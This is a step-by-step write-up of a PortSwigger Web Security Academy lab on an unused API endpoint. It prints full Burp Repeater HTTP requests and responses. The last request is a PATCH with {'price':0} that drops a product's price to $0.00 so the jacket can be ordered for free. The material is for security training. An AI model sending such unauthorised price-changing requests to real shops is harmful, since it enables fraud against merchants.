Lab: Finding and exploiting an unused API endpoint

After starting the exercise, your shop should look like the image below. Click on any product in the shop.

Let's take a look at the product description and then switch to Burp Proxy.

In Burp Proxy, select the HTTP history tab and search for the request GET /api/products/3/price. The number may differ for you, as you may have selected a different product. However, this is not important for the rest of the process.

We will now send this request to Burp Repeater. To do this, we move the mouse over the request and press the right mouse button. In the context menu, we select the option Send to Repeater.

In Burp Repeater, we now change the request method from GET to OPTIONS. The request should look like this.

OPTION /api/products/3/price HTTP/2
Host: 0a1c00a104819a0780addfa8005d00cc.web-security-academy.net
Cookie: session=TnEDUydFeFmuoNu47YVojK4zjpFc9IQF
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a1c00a104819a0780addfa8005d00cc.web-security-academy.net/product?productId=3
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

After sending, we receive an HTTP 405 Method Not Allowed message. This tells us that the HTTP verb OPTIONS used is not allowed. In the response, we see the header Allow: with the values GET and PATCH. These are the HTTP verbs supported by the web server.

HTTP/2 405 Method Not Allowed
Allow: GET, PATCH
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20

"Method Not Allowed"

Now let's change the request method from OPTIONS to PATCH and send the request.

PATCH /api/products/3/price HTTP/2
Host: 0a5400c6030853ee81b9e813003c00d8.web-security-academy.net
Cookie: session=6MCER4VPfQuHudMXc8JdnZdxbuhT1Iwv
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a5400c6030853ee81b9e813003c00d8.web-security-academy.net/product?productId=3
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

In response, we receive an HTTP/2 401 Unauthorized. From this, we can conclude that we must be authenticated in order to make changes to the order.

HTTP/2 401 Unauthorized
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 14

"Unauthorized"

Now switch to your browser and log in to the application with the username wiener and the password peter. To do this, click on the My account link.

We enter our details in the form and, once we have successfully registered, we can see our account.

Clicking on the Home link takes us to the shop, where we search for the product Lightweight ‘l33t’ Leather Jacket. This should usually be the first product in the shop.

Now click on the View details button below the product Lightweight ‘l33t’ Leather Jacket. After reviewing the product description, return to Burp Proxy and search for the request GET /api/products/1/price in the HTTP history.

We will now send this request to Burp Repeater. The procedure for sending requests to Burp Repeater has already been described above. Let's switch to Burp Repeater and change the request method from GET to PATCH.

PATCH /api/products/1/price HTTP/2
Host: 0a5400c6030853ee81b9e813003c00d8.web-security-academy.net
Cookie: session=awMfkfrB07cXKGoHSHOf4EWAiCzw6NWs
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a5400c6030853ee81b9e813003c00d8.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

After sending, we receive an HTTP/2 400 Bad Request response from the server. In the body of the message, we see that the header Content-Type with the value application/json is not present in the request.

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 93

{
	"type":"ClientError",
	"code":400,
	"error":"Only 'application/json' Content-Type is supported"
}

If we add Content-Type: application/json to our request and send this request to the application again, we receive the response HTTP/2 500 Internal Server Error. Something seems to be wrong with the request. The solution is to send Content-Type: application/json, but without any JSON in the body of the request. So we enter {} in the body. The complete request should now look like this.

PATCH /api/products/1/price HTTP/2
Host: 0a5400c6030853ee81b9e813003c00d8.web-security-academy.net
Cookie: session=awMfkfrB07cXKGoHSHOf4EWAiCzw6NWs
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a5400c6030853ee81b9e813003c00d8.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Content-Type: application/json;

{}

After sending, we receive the response HTTP/2 400 Bad Request again. This time, the parameter price is missing from the body of our request. If we now enter the parameter price with the value 0 in our JSON, our request should look like this.

PATCH /api/products/1/price HTTP/2
Host: 0a5400c6030853ee81b9e813003c00d8.web-security-academy.net
Cookie: session=awMfkfrB07cXKGoHSHOf4EWAiCzw6NWs
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a5400c6030853ee81b9e813003c00d8.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Content-Type: application/json;
Content-Length: 12

{
	"price":0
}

When we send this request to the application, we receive the response HTTP/2 200 OK. In the body, we see that the price of $0.00 was returned. We have now set the price of the product Lightweight ‘l33t’ Leather Jacket to $0.00.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
	"price":"$0.00"
}

Now go back to your browser, where you should still see the details of the product Lightweight ‘l33t’ Leather Jacket. If this is not the case, open the product description again using the procedure described above. If you scroll down in the product description, you will see the button Add to cart.

If the product has been added to the shopping basket, click on the shopping basket symbol to open the shopping basket. You can see in the following image that the price of the product is $0.00.

The product Lightweight ‘l33t’ Leather Jacket should now be visible in the shopping cart at a price of $0.00. To complete the order, click on the Place order button.

We have successfully completed this exercise.

Video solution

Last updated